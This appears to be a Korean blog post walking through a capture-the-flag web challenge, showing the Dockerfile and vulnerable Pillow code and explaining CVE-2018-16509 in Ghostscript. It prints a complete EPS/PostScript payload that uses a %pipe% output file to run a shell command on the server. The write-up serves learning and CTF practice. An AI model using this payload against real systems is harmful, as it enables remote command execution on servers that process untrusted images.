티스토리 뷰

728x90
반응형

접속하면 귀여운 웹페이지가 나옵니다. 이번에는 웹쪽에서 먼저 보기보다 이전에 Weather App에서 호되게 당한 기억이 있어 도커와 소스코드부터 보았습니다.

FROM python:3

# Install Python dependencies
RUN pip install flask Pillow

# Install Pillow component
RUN curl -L -O https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23-linux-x86_64.tgz \
    && tar -xzf ghostscript-9.23-linux-x86_64.tgz \
    && mv ghostscript-9.23-linux-x86_64/gs-923-linux-x86_64 /usr/local/bin/gs && rm -rf /tmp/ghost*

중요한 건 python 3 으로 이루어진 flask 웹서버이고, Pillow 모듈을 별도로 다운로드하였다는 것입니다.

그리고 Pillow 모듈을 위해서 ghostscript 라는 component도 설치한 모습입니다. 바로 Pillow 모듈 관련 취약점이 있는 지 확인해보았습니다.

구글에 Python Pillow Exploit 이라고 치니깐 Python PIL/Pillow Remote Shell Command 가 눈에 띄었습니다.

https://store.vsplate.com/en/post/141/

 

[VulHub] Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509 | VSPlate Post

Posted by osp-porter at Apr 26, 2020 Online Env Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509 Ghostscript is a suite of software based on an interpreter for Adobe Systems PostScript and Portable Document Format (PDF) page

store.vsplate.com

취약점 개요는 다음과 같습니다. Pillow 라는 모듈이 있고, Pillow가 의존하는 모듈 중에서 Ghostscript라는 모듈이 있는데, Ghostscript 안에 또 EPSImagePlugin.py 라는 소스코드가 존재한다고 합니다. 아래는 EPSImagePlugin.py 소스코드 중 취약한 부분의 일부입니다.

# Build Ghostscript command
command = ["gs",
            "-q",                         # quiet mode
            "-g%dx%d" % size,             # set output geometry (pixels)
            "-r%fx%f" % res,              # set input DPI (dots per inch)
            "-dBATCH",                    # exit after processing
            "-dNOPAUSE",                  # don't pause between pages
            "-dSAFER",                    # safe mode
            "-sDEVICE=ppmraw",            # ppm driver
            "-sOutputFile=%s" % outfile,  # output file
            "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
                                          # adjust for image origin
            "-f", infile,                 # input file
            "-c", "showpage",             # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
            ]

...(중략)...

try:
    with open(os.devnull, 'w+b') as devnull:
        startupinfo = None
        if sys.platform.startswith('win'):
            startupinfo = subprocess.STARTUPINFO()
            startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
        subprocess.check_call(command, stdin=devnull, stdout=devnull,
                              startupinfo=startupinfo)

25번째 줄을 보시면 subprocess 모듈로 command를 실행하게 되는 부분이 있습니다. (참고로 check_call 함수는 명령을 실행하고 완료될 때까지 기다리는 함수입니다) 그리고 command 는 2번째 줄에 나와있습니다. 만약 파일이 EPS 이미지 파일이면 PIL 모듈은 바로 EPSImagePlugin.py 파일의 EpsImageFile 클래스에 있는 _open 함수를 실행하게 됩니다. 그래서 파일의 헤더 부분에 아래와 같이 추가해야합니다.

%!PS-Adobe-3.0 EPSF-3.0

추가로 이 EPS 이미지 파일에 bound box 라는 속성이 존재하지 않을 경우에 Exception 이 발생하는 코드 부분이 있기 때문에 아래와 같이 또 추가해줘야 합니다.

%%BoundingBox: -0 -0 100 100

그리고 아래는 EPS 이미지 파일의 전체 payload 입니다.

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%cat flag > /app/application/static/petpets/asdf.jpg) currentdevice putdeviceprops

참고로 위 언어는 PostScript 라는 언어입니다. 그리고 Ghostscript 는 PostScript 언어의 인터프리터이기도 합니다. 그리고 PostScript는 예전에 한글 문서 악성코드에도 많이 쓰인 언어로 유명합니다. (https://asec.ahnlab.com/ko/1315/)

 

포스트스크립트를 이용한 HWP 한글 문서 악성코드 주의 - ASEC BLOG

AhnLab Security Emergency response Center

asec.ahnlab.com

%pipe% 다음에 나오는 명령이 저희가 실행하게되는 명령어 입니다. flag파일의 내용을 저희가 접근할 수 있는 위치인 /app/application/static/petpets 경로에 임의의 파일명(asdf.jpg)으로 저장하게 하고 파일을 업로드합니다. 그리고 페이지에 접속하여 본다면 아래와 같이 플래그를 확인할 수 있습니다.

728x90
반응형
댓글